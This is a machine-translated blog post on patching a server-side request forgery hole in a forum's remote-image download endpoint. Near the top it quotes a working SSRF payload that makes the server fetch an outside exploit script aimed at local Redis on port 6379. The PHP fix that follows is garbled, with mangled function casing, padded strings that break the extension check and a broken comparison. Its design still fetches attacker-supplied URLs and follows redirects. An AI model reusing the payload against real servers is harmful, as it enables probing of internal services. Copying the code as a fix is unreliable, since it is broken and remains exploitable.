This vulnerability URL is http://bbs.demo.com//forum.php?mod=ajax&action=downremoteimg&message=
An attacker passed an illegal file to a parameter for a SSRF attack:
http://bbs.demo.com//forum.php?mod=ajax&action=downremoteimg&message=[img]http://tv.phpinfo.me/exp.php ? S=ftp%26ip=127.0.0.1%26port=6379%26data=helo.jpg[/img]
Here the message parameters are sent by the user in the Forum of the picture address, is normally a picture format suffix, although the program has a suffix to judge, but the judge is not strict, only need to add a picture suffix in the URL can be spoofed past.
The solution is to modify the legality of the URL to judge, even if the suffix is legitimate, may be forged through the URL rewrite, so further through the curl get the header information, according to the returned message Content-type parameters to determine whether the file format is legitimate.
As a result, add the following functions to the file/source/module/forum/forum_ajax.php file:
Php
Get Upload image URL list
function GetImageList ($temp)
{
$urlList = Array ();
foreach ($temp as $item) {
$urlList [] = $item [1];
}
return $urlList;
}
/**
* Check if Content-type is legal
* @param $imageList array picture URL list
* @return BOOL True valid false illegal
*/
function Checkcontenttype ($imageList)
{
$allowExtensions = array (' jpg ', ' jpeg ', ' png ', ' gif ', ' bmp ');
$allowTypes = Array (' Image/png ', ' image/x-png ', ' image/gif ', ' image/jpeg ', ' image/pjpeg ');
foreach ($imageList as $url) {
$extension = Geturlextension ($url);
if (!in_array (Strtolower ($extension), $allowExtensions)) {
return false;
}
$contentType = getContentType ($url);
if (!in_array ($contentType, $allowTypes)) {
return false;
}
}
return true;
}
Get Content-type
function getContentType ($url)
{
$ch = Curl_init ();
curl_setopt ($ch, Curlopt_url, $url);
curl_setopt ($ch, Curlopt_header, 1);
curl_setopt ($ch, Curlopt_returntransfer, 1);
curl_setopt ($ch, curlopt_followlocation, 1);
curl_setopt ($ch, curlopt_nobody, 1);
Curl_exec ($ch);
$contentType = Curl_getinfo ($ch, Curlinfo_content_type);
return $contentType;
}
Get URL suffix
function Geturlextension ($url)
{
$parseurl = Parse_url ($url);
$extension = PathInfo ($parseurl [' Path '], pathinfo_extension);
return $extension;
}
Add in where specific interface is processed:
Detect whether the picture is legal Added by tanteng<tanteng@xunlei.com> 2016.07.07
if (Is_array ($temp) &&!empty ($temp)) {
$imageList = GetImageList ($temp);
$check = Checkcontenttype ($imageList);
if ($check = = False) {
Die (' File upload error! ');
}
}
First of all, judge the file suffix is legitimate, and then through the curl request to determine whether the header Content-type legal, because the latter is not easy to forge. Among them Curl Judge file Content-type method:
Php
Get Content-type
function getContentType ($url)
{
$ch = Curl_init ();
curl_setopt ($ch, Curlopt_url, $url);
curl_setopt ($ch, Curlopt_header, 1);
curl_setopt ($ch, Curlopt_returntransfer, 1);
curl_setopt ($ch, curlopt_followlocation, 1);
curl_setopt ($ch, curlopt_nobody, 1);
Curl_exec ($ch);
$contentType = Curl_getinfo ($ch, Curlinfo_content_type);
return $contentType;
}
And then through the dark clouds exposed vulnerabilities address, the URL passed in illegal format files, the program will not continue to execute.
However, there is a problem, some picture address is not a real static file, such as: http://image.demo.com/avatar/100/150*150, this path is a picture, although not the picture format of the static path, then this judgment will be misjudged, However, this situation is very small, for the moment.